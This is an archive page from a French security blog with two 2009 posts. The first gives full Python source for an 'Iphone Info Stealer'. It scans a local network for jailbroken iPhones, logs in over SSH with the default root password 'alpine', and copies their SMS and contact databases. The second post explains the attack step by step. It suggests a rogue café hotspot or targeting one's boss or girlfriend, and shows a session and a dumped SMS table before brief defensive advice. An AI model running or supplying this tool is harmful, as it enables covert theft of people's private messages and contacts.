2009-10 Archives

28-10-2009 20:34:53

[Tool] Iphone Info Stealer by cloud

Je vous ai présenté dans mon dernier article un scénario afin de voler les SMS et la liste de contacts d'un iphone jailbreaké. Pour concrétiser celui ci, j'ai développé un petit logiciel en python permettant d'automatiser cela.

Principe :
Le logiciel scan le réseau (en /24) que vous lui donnez afin de trouver des serveurs SSH ouverts puis tente de s'y connecter. S'il y arrive, il récupère la liste des SMS et des contacts et les copie en local. Pour les visualiser, il suffit par la suite de taper la commande suivante :
#sqlite3 sms.db ".dump"
Vous aurez alors le dump complet. En effet les fichiers sont de simples bases Sqlite.

Voici le code du logiciel :
#!/usr/bin/env python

#########################################
# Program : Iphone Info Stealer
# author : cloud
# contact : cloud[at]madpowah.org
# website : http://blog.madpowah.org
#
# You need to be connect to an Access Point.
# Launch iphonestealer.py and it will steal 
# SMS and Contact list of all iphones 
# jailbreaked with SSH on the network.
#
# This program uses the lib paramiko.
#
# I'm not responsible of the use of this
# program.
##########################################


import socket
import sys
import os 
import paramiko	

# Modify this values
local_file='/home/user/where/you/want/to/store/data/' # where you will store data
network = "192.168.0." # the network you want to scan
# End of modif

port = 'ssh'
username = 'root'
password = 'alpine'
sms_remote = '/private/var/mobile/Library/SMS/sms.db'
contact_remote = '/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb'
ip_num = 1
ip_list = []


print ">> Iphone Info Stealer by cloud <cloud@madpowah.org>"
print "--------------------"
sys.stdout.write(">> Scanning Network ")
sys.stdout.write(network)
sys.stdout.write("0/24")

while ip_num < 255:
	
	host = network + str(ip_num)
	sys.stdout.write('.')
	sys.stdout.flush()

	try:
		sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock1.settimeout(0.2)
		sock1.connect((host,22))
		ip_list.append(host)
		sock1.close()
	except:
		sys.stdout.write('.')
		sys.stdout.flush()

	ip_num += 1

print "\n\n>> Getting SMS and Contact List"

for hostname in ip_list:
	try:
		print 'Testing with :', hostname, '...',
		t = paramiko.SSHClient()
		t.set_missing_host_key_policy(paramiko.AutoAddPolicy())
		t.load_system_host_keys()
		t.connect(hostname, port=port, username=username, password=password)
		ftp = t.open_sftp()
		try:
			local_file_ok = local_file + hostname + '-sms.db'
			ftp.get(sms_remote, local_file_ok)
			print "SMS STOLEN ! ...",
		except:
			print "No SMS :( ...",
		try:
			local_file_ok = local_file + hostname + '-contact.db'
			ftp.get(contact_remote, local_file_ok)
			print "Contact STOLEN !"
		except:
			print "No Contact List :( ..."
			
		ftp.close()
		t.close()
	except :
		print "Not an iphone"

Vous pouvez sinon le télécharger ici.

Je ne suis bien sur pas responsable de ce que vous ferez avec :).

Posté par cloud | permalien | dans : Security, Coding

27-10-2009 00:53:04

[Secu] Attention au vol de sms et contacts sur iphone!

Les téléphones portables sont de plus en plus performants et peuvent devenir de belles sources d'informations exploitables. Ainsi on trouve tous pleins d'iphone un peu partout, de véritables ordinateurs ambulants.

L'avantage de l'iphone est que ses utilisateurs ont une facheuses tendance à etre des geeks et à bidouiller leur jouet qu'ils vénèrent tant. Du coup, une des première chose qu'ils font, c'est jailbreaker leur joujoux ce qui permet d'installer un serveur OpenSSH. Et histoire de nous faciliter la tache, ce serveur contient en login de base "root" et comme mot de passe "alpine". Voila on a tout ce qu'il nous faut !

Allez maintenant 2 possibilités, on se positionne dans un café bien fréquenté et on configure notre pc avec une clé 3G en point d'accès donnant un accès internet à qui veut ou alors on fait la meme chose en choisissant une cible comme son boss, sa petite amie ou qui vous voulez :)

Cette personne en buvant son café va forcément sortir son "joujoux" et chercher un point wifi et va tomber sur le votre non protégé :). Une fois qu'il est connecté, à nous de jouer.

On commence par se connecter à lui en SSH ou en SFTP :
(00:36:14 cloud ~) 0 $ ssh root@192.168.0.11
The authenticity of host '192.168.0.11 (192.168.0.11)' can't be established.
DSA key fingerprint is 3f:3e:55:3f:9e:9b:14:c9:68:59:fa:45:89:2a:09:f2.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.11' (DSA) to the list of known hosts.
root@192.168.0.11's password: alpine
iPhone:~ root#
Bingo !

Je vais vous montrer 2 répertoires intéressants à récupérer via le client sftp :
iPhone:~ root# cd /private/var/mobile/Library/SMS/
iPhone:/private/var/mobile/Library/SMS root# ls
Drafts/  Parts/  sms-legacy.db  sms.db
Tout d'abord le fichier sms.db ici qui contient tous les SMS de l'iphone :)
iPhone:~ root# cd /private/var/mobile/Library/AddressBook/
iPhone:/private/var/mobile/Library/AddressBook root# ls
AddressBook.sqlitedb  AddressBookImages.sqlitedb
Maintenant voici le répertoire complet avec tous les contacts de notre victime : AddressBook.sqlitedb .

Comme on le voit, ec sont de simple fichier sqlite. On les récupère et on va faire un dump dessus voir ca :
(00:27:38 cloud /usr/home/cloud) 0 $ sqlite3 sms.db ".dump" | more
BEGIN TRANSACTION;
CREATE TABLE _SqliteDatabaseProperties (key TEXT, value TEXT, UNIQUE(key));
INSERT INTO "_SqliteDatabaseProperties" VALUES('counter_last_reset','0');
..........
..........
..........
INSERT INTO "_SqliteDatabaseProperties" VALUES('__CPRecordSequenceNumber','5479');
CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, 
svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT, country TEXT, 
headers BLOB, recipients BLOB, read INTEGER);
INSERT INTO "message" VALUES(901,'+33666666666',1252052396,'Salut ceci est le SMS de la 
victime',2,0,NULL,404,0,0,4,0,NULL,'fr',NULL,NULL,1);
..........
..........
Et voila nous pouvons lire tous les SMS. De la meme manière il est possible de lire les contacts de la victime. Il est possible sinon tout simplement de les copier dans un autre iphone et de les utiliser.

Pour se prémunire de cela, il est important de penser à couper le serveur OpenSSH s'il n'est pas utilisé ! De plus changer le mot de passe du compte root est la 1ere chose à faire si l'on ne veut pas qu'il nous arrive quelque chose, les règles de bases quoi :).

Posté par cloud | permalien | dans : Security